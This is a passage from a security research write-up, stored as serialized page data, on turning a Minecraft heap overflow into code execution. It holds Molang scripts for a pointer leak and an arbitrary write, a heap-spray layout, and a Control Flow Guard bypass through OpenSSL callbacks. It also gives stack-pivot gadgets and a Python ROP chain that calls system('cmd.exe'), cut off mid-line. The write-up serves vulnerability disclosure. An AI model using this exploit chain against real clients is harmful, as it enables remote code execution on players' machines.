(manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":154,"props":156814,"children":156816},{"className":156815},[],[156817],{"type":29,"value":156718},{"type":29,"value":156819}," pointer. We can then capture that pointer with:",{"type":23,"tag":4743,"props":156821,"children":156823},{"code":156822},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156824],{"type":23,"tag":154,"props":156825,"children":156826},{"__ignoreMap":7},[156827],{"type":29,"value":156822},{"type":23,"tag":32,"props":156829,"children":156830},{},[156831,156833,156838,156840,156845,156847,156852,156854,156860],{"type":29,"value":156832},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":154,"props":156834,"children":156836},{"className":156835},[],[156837],{"type":29,"value":11186},{"type":29,"value":156839}," until it equals ",{"type":23,"tag":154,"props":156841,"children":156843},{"className":156842},[],[156844],{"type":29,"value":156584},{"type":29,"value":156846},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":154,"props":156848,"children":156850},{"className":156849},[],[156851],{"type":29,"value":156718},{"type":29,"value":156853}," address in ",{"type":23,"tag":154,"props":156855,"children":156857},{"className":156856},[],[156858],{"type":29,"value":156859},"variable.saved_vtable_pointer",{"type":29,"value":357},{"type":23,"tag":20844,"props":156862,"children":156863},{},[],{"type":23,"tag":32,"props":156865,"children":156866},{},[156867,156869,156874,156876,156882],{"type":29,"value":156868},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":154,"props":156870,"children":156872},{"className":156871},[],[156873],{"type":29,"value":45561},{"type":29,"value":156875}," to the address ",{"type":23,"tag":154,"props":156877,"children":156879},{"className":156878},[],[156880],{"type":29,"value":156881},"vtable + 0x1000",{"type":29,"value":156883}," looks like this:",{"type":23,"tag":4743,"props":156885,"children":156887},{"code":156886},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156888],{"type":23,"tag":154,"props":156889,"children":156890},{"__ignoreMap":7},[156891],{"type":29,"value":156886},{"type":23,"tag":20944,"props":156893,"children":156895},{"id":156894},"required-heap-layout",[156896],{"type":29,"value":156897},"Required Heap Layout",{"type":23,"tag":32,"props":156899,"children":156900},{},[156901],{"type":29,"value":156902},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":4743,"props":156904,"children":156906},{"code":156905},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[156907],{"type":23,"tag":154,"props":156908,"children":156909},{"__ignoreMap":7},[156910],{"type":29,"value":156905},{"type":23,"tag":32,"props":156912,"children":156913},{},[156914,156916,156922,156924,156929,156931,156936,156938,156943,156944,156949],{"type":29,"value":156915},"The first region (",{"type":23,"tag":154,"props":156917,"children":156919},{"className":156918},[],[156920],{"type":29,"value":156921},"Heap Region 1",{"type":29,"value":156923},") contains alternating ",{"type":23,"tag":154,"props":156925,"children":156927},{"className":156926},[],[156928],{"type":29,"value":154707},{"type":29,"value":156930},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":154,"props":156932,"children":156934},{"className":156933},[],[156935],{"type":29,"value":154737},{"type":29,"value":156937}," pointers of ",{"type":23,"tag":154,"props":156939,"children":156941},{"className":156940},[],[156942],{"type":29,"value":154707},{"type":29,"value":4478},{"type":23,"tag":154,"props":156945,"children":156947},{"className":156946},[],[156948],{"type":29,"value":154883},{"type":29,"value":156950}," from the entity object for our main attack.",{"type":23,"tag":32,"props":156952,"children":156953},{},[156954,156956,156962,156964,156969,156971,156976,156978,156983,156985,156990],{"type":29,"value":156955},"The second region (",{"type":23,"tag":154,"props":156957,"children":156959},{"className":156958},[],[156960],{"type":29,"value":156961},"Heap Region 2",{"type":29,"value":156963},") contains interleaved ",{"type":23,"tag":154,"props":156965,"children":156967},{"className":156966},[],[156968],{"type":29,"value":154883},{"type":29,"value":156970},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":154,"props":156972,"children":156974},{"className":156973},[],[156975],{"type":29,"value":156718},{"type":29,"value":156977}," pointer into ",{"type":23,"tag":154,"props":156979,"children":156981},{"className":156980},[],[156982],{"type":29,"value":156647},{"type":29,"value":156984}," during our main attack. It could be any object with a ",{"type":23,"tag":154,"props":156986,"children":156988},{"className":156987},[],[156989],{"type":29,"value":156718},{"type":29,"value":156991},", but for simplicity we use the entity object.",{"type":23,"tag":32,"props":156993,"children":156994},{},[156995,156997,157003,157005,157010],{"type":29,"value":156996},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":154,"props":156998,"children":157000},{"className":156999},[],[157001],{"type":29,"value":157002},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":157004}," will very likely clobber the ",{"type":23,"tag":154,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":29,"value":155203},{"type":29,"value":157011}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":32,"props":157013,"children":157014},{},[157015],{"type":29,"value":157016},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":32,"props":157018,"children":157019},{},[157020],{"type":29,"value":157021},"The final exploit proceeds in three stages:",{"type":23,"tag":139,"props":157023,"children":157024},{},[157025,157030,157035],{"type":23,"tag":143,"props":157026,"children":157027},{},[157028],{"type":29,"value":157029},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":143,"props":157031,"children":157032},{},[157033],{"type":29,"value":157034},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":143,"props":157036,"children":157037},{},[157038],{"type":29,"value":157039},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":20944,"props":157041,"children":157043},{"id":157042},"initial-corruption-variant-lfh-heap-approach",[157044],{"type":29,"value":157045},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":32,"props":157047,"children":157048},{},[157049],{"type":29,"value":157050},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":32,"props":157052,"children":157053},{},[157054,157056,157061,157062,157068],{"type":29,"value":157055},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":154,"props":157057,"children":157059},{"className":157058},[],[157060],{"type":29,"value":154950},{"type":29,"value":4375},{"type":23,"tag":154,"props":157063,"children":157065},{"className":157064},[],[157066],{"type":29,"value":157067},"last_index",{"type":29,"value":157069}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":32,"props":157071,"children":157072},{},[157073,157075,157080,157081,157086,157088,157093,157095,157100,157102,157107,157109,157115,157116,157122,157123,157129],{"type":29,"value":157074},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":154,"props":157076,"children":157078},{"className":157077},[],[157079],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":154,"props":157082,"children":157084},{"className":157083},[],[157085],{"type":29,"value":154883},{"type":29,"value":157087},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":154,"props":157089,"children":157091},{"className":157090},[],[157092],{"type":29,"value":154641},{"type":29,"value":157094}," within the ",{"type":23,"tag":154,"props":157096,"children":157098},{"className":157097},[],[157099],{"type":29,"value":154883},{"type":29,"value":157101}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":154,"props":157103,"children":157105},{"className":157104},[],[157106],{"type":29,"value":57696},{"type":29,"value":157108}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":154,"props":157110,"children":157112},{"className":157111},[],[157113],{"type":29,"value":157114},"0xfb",{"type":29,"value":4367},{"type":23,"tag":154,"props":157117,"children":157119},{"className":157118},[],[157120],{"type":29,"value":157121},"0xfc",{"type":29,"value":4478},{"type":23,"tag":154,"props":157124,"children":157126},{"className":157125},[],[157127],{"type":29,"value":157128},"0xfd",{"type":29,"value":157130}," the script would do:",{"type":23,"tag":4743,"props":157132,"children":157134},{"code":157133},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[157135],{"type":23,"tag":154,"props":157136,"children":157137},{"__ignoreMap":7},[157138],{"type":29,"value":157133},{"type":23,"tag":32,"props":157140,"children":157141},{},[157142,157144,157149,157150,157156,157158,157163],{"type":29,"value":157143},"That line would write the ",{"type":23,"tag":154,"props":157145,"children":157147},{"className":157146},[],[157148],{"type":29,"value":57696},{"type":29,"value":94235},{"type":23,"tag":154,"props":157151,"children":157153},{"className":157152},[],[157154],{"type":29,"value":157155},"0x302700fb00fc00fd",{"type":29,"value":157157}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":154,"props":157159,"children":157161},{"className":157160},[],[157162],{"type":29,"value":154883},{"type":29,"value":157164}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":320,"props":157166,"children":157168},{"id":157167},"hijacking-execution",[157169],{"type":29,"value":157170},"Hijacking Execution",{"type":23,"tag":32,"props":157172,"children":157173},{},[157174,157176,157181,157183,157189],{"type":29,"value":157175},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":154,"props":157177,"children":157179},{"className":157178},[],[157180],{"type":29,"value":156718},{"type":29,"value":157182}," and function pointers in the writable ",{"type":23,"tag":154,"props":157184,"children":157186},{"className":157185},[],[157187],{"type":29,"value":157188},".data",{"type":29,"value":157190}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":32,"props":157192,"children":157193},{},[157194],{"type":29,"value":157195},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":32,"props":157197,"children":157198},{},[157199],{"type":29,"value":157200},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":32,"props":157202,"children":157203},{},[157204],{"type":23,"tag":199,"props":157205,"children":157207},{"alt":201,"src":157206},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":32,"props":157209,"children":157210},{},[157211,157213,157219,157221,157227,157229,157234,157236,157241,157243,157249,157251,157256,157258,157264,157266,157271],{"type":29,"value":157212},"This snippet calls a method on an object: ",{"type":23,"tag":154,"props":157214,"children":157216},{"className":157215},[],[157217],{"type":29,"value":157218},"rcx",{"type":29,"value":157220}," holds the object pointer, the first ",{"type":23,"tag":154,"props":157222,"children":157224},{"className":157223},[],[157225],{"type":29,"value":157226},"mov",{"type":29,"value":157228}," loads the object's ",{"type":23,"tag":154,"props":157230,"children":157232},{"className":157231},[],[157233],{"type":29,"value":156718},{"type":29,"value":157235}," into ",{"type":23,"tag":154,"props":157237,"children":157239},{"className":157238},[],[157240],{"type":29,"value":58835},{"type":29,"value":157242},", and the function pointer at ",{"type":23,"tag":154,"props":157244,"children":157246},{"className":157245},[],[157247],{"type":29,"value":157248},"rax + 0x8",{"type":29,"value":157250}," is read into ",{"type":23,"tag":154,"props":157252,"children":157254},{"className":157253},[],[157255],{"type":29,"value":58835},{"type":29,"value":157257},". Finally, ",{"type":23,"tag":154,"props":157259,"children":157261},{"className":157260},[],[157262],{"type":29,"value":157263},"__guard_dispatch_icall_fptr",{"type":29,"value":157265}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":154,"props":157267,"children":157269},{"className":157268},[],[157270],{"type":29,"value":58835},{"type":29,"value":157272}," as a legal call target before invoking it.",{"type":23,"tag":32,"props":157274,"children":157275},{},[157276],{"type":29,"value":157277},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":32,"props":157279,"children":157280},{},[157281],{"type":23,"tag":199,"props":157282,"children":157284},{"alt":201,"src":157283},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":32,"props":157286,"children":157287},{},[157288,157290,157296,157298,157304],{"type":29,"value":157289},"Here, the function pointer at ",{"type":23,"tag":154,"props":157291,"children":157293},{"className":157292},[],[157294],{"type":29,"value":157295},"vtable + 0x10",{"type":29,"value":157297}," is loaded into ",{"type":23,"tag":154,"props":157299,"children":157301},{"className":157300},[],[157302],{"type":29,"value":157303},"rdx",{"type":29,"value":157305}," and then called directly.",{"type":23,"tag":32,"props":157307,"children":157308},{},[157309],{"type":29,"value":157310},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":32,"props":157312,"children":157313},{},[157314,157316,157321],{"type":29,"value":157315},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":154,"props":157317,"children":157319},{"className":157318},[],[157320],{"type":29,"value":156718},{"type":29,"value":157322}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":20944,"props":157324,"children":157326},{"id":157325},"locating-overwrite-targets",[157327],{"type":29,"value":157328},"Locating Overwrite Targets",{"type":23,"tag":32,"props":157330,"children":157331},{},[157332,157334,157340,157341,157346,157348,157353,157355,157361],{"type":29,"value":157333},"One of the first targets we identified were the ",{"type":23,"tag":154,"props":157335,"children":157337},{"className":157336},[],[157338],{"type":29,"value":157339},"malloc",{"type":29,"value":4478},{"type":23,"tag":154,"props":157342,"children":157344},{"className":157343},[],[157345],{"type":29,"value":151951},{"type":29,"value":157347}," callbacks. These reside in the ",{"type":23,"tag":154,"props":157349,"children":157351},{"className":157350},[],[157352],{"type":29,"value":157188},{"type":29,"value":157354}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":154,"props":157356,"children":157358},{"className":157357},[],[157359],{"type":29,"value":157360},"OPENSSL_malloc/free",{"type":29,"value":133809},{"type":23,"tag":32,"props":157363,"children":157364},{},[157365],{"type":23,"tag":199,"props":157366,"children":157368},{"alt":201,"src":157367},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":32,"props":157370,"children":157371},{},[157372],{"type":29,"value":157373},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":32,"props":157375,"children":157376},{},[157377,157379,157385,157387,157393,157395,157400],{"type":29,"value":157378},"Later, we found another promising function: ",{"type":23,"tag":154,"props":157380,"children":157382},{"className":157381},[],[157383],{"type":29,"value":157384},"ossl_ec_key_new_method_int",{"type":29,"value":157386},". This function creates and initializes an ",{"type":23,"tag":154,"props":157388,"children":157390},{"className":157389},[],[157391],{"type":29,"value":157392},"EC_KEY",{"type":29,"value":157394}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":154,"props":157396,"children":157398},{"className":157397},[],[157399],{"type":29,"value":157188},{"type":29,"value":157401},") containing function pointers:",{"type":23,"tag":32,"props":157403,"children":157404},{},[157405],{"type":23,"tag":199,"props":157406,"children":157408},{"alt":201,"src":157407},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":32,"props":157410,"children":157411},{},[157412,157414,157420,157421,157427,157429,157434,157436,157442,157444,157449,157451,157456,157458,157463],{"type":29,"value":157413},"In the image above, ",{"type":23,"tag":154,"props":157415,"children":157417},{"className":157416},[],[157418],{"type":29,"value":157419},"ret->meth",{"type":29,"value":127273},{"type":23,"tag":154,"props":157422,"children":157424},{"className":157423},[],[157425],{"type":29,"value":157426},"default_ec_key_meth",{"type":29,"value":157428},", which points to a structure of function pointers located in ",{"type":23,"tag":154,"props":157430,"children":157432},{"className":157431},[],[157433],{"type":29,"value":157188},{"type":29,"value":157435},". It then calls ",{"type":23,"tag":154,"props":157437,"children":157439},{"className":157438},[],[157440],{"type":29,"value":157441},"ret->meth->init",{"type":29,"value":157443},", passing the ",{"type":23,"tag":154,"props":157445,"children":157447},{"className":157446},[],[157448],{"type":29,"value":19742},{"type":29,"value":157450}," pointer (",{"type":23,"tag":154,"props":157452,"children":157454},{"className":157453},[],[157455],{"type":29,"value":13036},{"type":29,"value":157457},"). This alone isn’t especially useful because ",{"type":23,"tag":154,"props":157459,"children":157461},{"className":157460},[],[157462],{"type":29,"value":13036},{"type":29,"value":157464}," is heap-allocated.",{"type":23,"tag":32,"props":157466,"children":157467},{},[157468,157470,157475],{"type":29,"value":157469},"But, if we look at how ",{"type":23,"tag":154,"props":157471,"children":157473},{"className":157472},[],[157474],{"type":29,"value":157441},{"type":29,"value":157476}," is invoked in the disassembly:",{"type":23,"tag":32,"props":157478,"children":157479},{},[157480],{"type":23,"tag":199,"props":157481,"children":157483},{"alt":201,"src":157482},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":32,"props":157485,"children":157486},{},[157487,157488,157493,157495,157500,157502,157507,157509,157514,157516,157521,157523,157528,157530,157535,157537,157543],{"type":29,"value":9524},{"type":23,"tag":154,"props":157489,"children":157491},{"className":157490},[],[157492],{"type":29,"value":157441},{"type":29,"value":157494}," is not ",{"type":23,"tag":154,"props":157496,"children":157498},{"className":157497},[],[157499],{"type":29,"value":56557},{"type":29,"value":157501},", it is called while ",{"type":23,"tag":154,"props":157503,"children":157505},{"className":157504},[],[157506],{"type":29,"value":58835},{"type":29,"value":157508}," still contains the value of ",{"type":23,"tag":154,"props":157510,"children":157512},{"className":157511},[],[157513],{"type":29,"value":157419},{"type":29,"value":157515}," - that is, a pointer to the structure in ",{"type":23,"tag":154,"props":157517,"children":157519},{"className":157518},[],[157520],{"type":29,"value":157188},{"type":29,"value":157522}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":154,"props":157524,"children":157526},{"className":157525},[],[157527],{"type":29,"value":157426},{"type":29,"value":157529}," with a pointer to a region in ",{"type":23,"tag":154,"props":157531,"children":157533},{"className":157532},[],[157534],{"type":29,"value":157188},{"type":29,"value":157536}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":154,"props":157538,"children":157540},{"className":157539},[],[157541],{"type":29,"value":157542},"mov rsp, rax; ret",{"type":29,"value":157544},"-style gadget.",{"type":23,"tag":32,"props":157546,"children":157547},{},[157548,157550,157555,157557,157562],{"type":29,"value":157549},"Although we discovered that ",{"type":23,"tag":154,"props":157551,"children":157553},{"className":157552},[],[157554],{"type":29,"value":157384},{"type":29,"value":157556}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":154,"props":157558,"children":157560},{"className":157559},[],[157561],{"type":29,"value":157360},{"type":29,"value":157563}," callbacks.",{"type":23,"tag":20944,"props":157565,"children":157567},{"id":157566},"stack-pivot",[157568],{"type":29,"value":157569},"Stack Pivot",{"type":23,"tag":32,"props":157571,"children":157572},{},[157573,157575,157580,157582,157587,157589,157594,157596,157602],{"type":29,"value":157574},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":154,"props":157576,"children":157578},{"className":157577},[],[157579],{"type":29,"value":157188},{"type":29,"value":157581},", overwrite ",{"type":23,"tag":154,"props":157583,"children":157585},{"className":157584},[],[157586],{"type":29,"value":157426},{"type":29,"value":157588}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":154,"props":157590,"children":157592},{"className":157591},[],[157593],{"type":29,"value":157384},{"type":29,"value":157595},". This ultimately calls ",{"type":23,"tag":154,"props":157597,"children":157599},{"className":157598},[],[157600],{"type":29,"value":157601},"default_ec_key_meth->init",{"type":29,"value":157603},", which executes the pivot and begins ROP execution.",{"type":23,"tag":32,"props":157605,"children":157606},{},[157607,157609,157615,157617,157623],{"type":29,"value":157608},"We chose to overwrite the ",{"type":23,"tag":154,"props":157610,"children":157612},{"className":157611},[],[157613],{"type":29,"value":157614},"OPENSSL_free",{"type":29,"value":157616}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":154,"props":157618,"children":157620},{"className":157619},[],[157621],{"type":29,"value":157622},"OPENSSL_malloc",{"type":29,"value":157624}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":32,"props":157626,"children":157627},{},[157628,157630,157636,157637,157643,157645,157650],{"type":29,"value":157629},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":154,"props":157631,"children":157633},{"className":157632},[],[157634],{"type":29,"value":157635},"add rsp, 0x10; pop r14; ret",{"type":29,"value":4478},{"type":23,"tag":154,"props":157638,"children":157640},{"className":157639},[],[157641],{"type":29,"value":157642},"xchg rsp, rax; ret",{"type":29,"value":157644},". The exploit writes them into ",{"type":23,"tag":154,"props":157646,"children":157648},{"className":157647},[],[157649],{"type":29,"value":157188},{"type":29,"value":157651}," like this:",{"type":23,"tag":4743,"props":157653,"children":157655},{"code":157654},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[157656],{"type":23,"tag":154,"props":157657,"children":157658},{"__ignoreMap":7},[157659],{"type":29,"value":157654},{"type":23,"tag":32,"props":157661,"children":157662},{},[157663,157665,157670,157672,157677,157679,157684,157686,157691,157693,157698,157700,157705,157707,157712],{"type":29,"value":157664},"The second gadget, ",{"type":23,"tag":154,"props":157666,"children":157668},{"className":157667},[],[157669],{"type":29,"value":157642},{"type":29,"value":157671},", is placed in the slot corresponding to the ",{"type":23,"tag":154,"props":157673,"children":157675},{"className":157674},[],[157676],{"type":29,"value":22793},{"type":29,"value":157678}," function pointer. As mentioned earlier, when ",{"type":23,"tag":154,"props":157680,"children":157682},{"className":157681},[],[157683],{"type":29,"value":157441},{"type":29,"value":157685}," is called, ",{"type":23,"tag":154,"props":157687,"children":157689},{"className":157688},[],[157690],{"type":29,"value":58835},{"type":29,"value":157692}," contains a pointer to ",{"type":23,"tag":154,"props":157694,"children":157696},{"className":157695},[],[157697],{"type":29,"value":157426},{"type":29,"value":157699}," - which we have overwritten and now points to our ",{"type":23,"tag":154,"props":157701,"children":157703},{"className":157702},[],[157704],{"type":29,"value":157635},{"type":29,"value":157706}," gadget in ",{"type":23,"tag":154,"props":157708,"children":157710},{"className":157709},[],[157711],{"type":29,"value":157188},{"type":29,"value":357},{"type":23,"tag":32,"props":157714,"children":157715},{},[157716,157718,157724,157726,157731,157733,157739,157741,157746,157748,157753,157755,157760,157762,157767,157769,157774,157776,157781],{"type":29,"value":157717},"When the call occurs, ",{"type":23,"tag":154,"props":157719,"children":157721},{"className":157720},[],[157722],{"type":29,"value":157723},"xchg rsp, rax",{"type":29,"value":157725}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":154,"props":157727,"children":157729},{"className":157728},[],[157730],{"type":29,"value":157188},{"type":29,"value":157732},", effectively moving ",{"type":23,"tag":154,"props":157734,"children":157736},{"className":157735},[],[157737],{"type":29,"value":157738},"rsp",{"type":29,"value":157740}," into our ROP region. After the ",{"type":23,"tag":154,"props":157742,"children":157744},{"className":157743},[],[157745],{"type":29,"value":13036},{"type":29,"value":157747},", execution continues at ",{"type":23,"tag":154,"props":157749,"children":157751},{"className":157750},[],[157752],{"type":29,"value":157635},{"type":29,"value":157754},", which advances ",{"type":23,"tag":154,"props":157756,"children":157758},{"className":157757},[],[157759],{"type":29,"value":157738},{"type":29,"value":157761}," by ",{"type":23,"tag":154,"props":157763,"children":157765},{"className":157764},[],[157766],{"type":29,"value":46595},{"type":29,"value":157768}," bytes, skipping over the padding and the ",{"type":23,"tag":154,"props":157770,"children":157772},{"className":157771},[],[157773],{"type":29,"value":157642},{"type":29,"value":157775}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":154,"props":157777,"children":157779},{"className":157778},[],[157780],{"type":29,"value":157642},{"type":29,"value":157782},") begins executing.",{"type":23,"tag":320,"props":157784,"children":157786},{"id":157785},"rop-chain",[157787],{"type":29,"value":157788},"ROP Chain",{"type":23,"tag":32,"props":157790,"children":157791},{},[157792,157794,157800,157802,157807],{"type":29,"value":157793},"For the demo, the ROP chain simply calls ",{"type":23,"tag":154,"props":157795,"children":157797},{"className":157796},[],[157798],{"type":29,"value":157799},"system(\"cmd.exe\")",{"type":29,"value":157801},". Because Minecraft does not use ",{"type":23,"tag":154,"props":157803,"children":157805},{"className":157804},[],[157806],{"type":29,"value":133531},{"type":29,"value":157808},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":32,"props":157810,"children":157811},{},[157812,157814,157820,157822,157828,157830,157835,157837,157843,157845,157850],{"type":29,"value":157813},"This is straightforward: the chain first calls ",{"type":23,"tag":154,"props":157815,"children":157817},{"className":157816},[],[157818],{"type":29,"value":157819},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":157821}," to obtain the base address of ",{"type":23,"tag":154,"props":157823,"children":157825},{"className":157824},[],[157826],{"type":29,"value":157827},"ucrtbase.dll",{"type":29,"value":157829}," (which exports ",{"type":23,"tag":154,"props":157831,"children":157833},{"className":157832},[],[157834],{"type":29,"value":133531},{"type":29,"value":157836},"). It then calls ",{"type":23,"tag":154,"props":157838,"children":157840},{"className":157839},[],[157841],{"type":29,"value":157842},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":157844}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":154,"props":157846,"children":157848},{"className":157847},[],[157849],{"type":29,"value":133531},{"type":29,"value":157851}," with the \"cmd.exe\" string.",{"type":23,"tag":32,"props":157853,"children":157854},{},[157855],{"type":29,"value":157856},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":4743,"props":157858,"children":157860},{"code":157859,"language":21512,"meta":7,"className":21513,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls 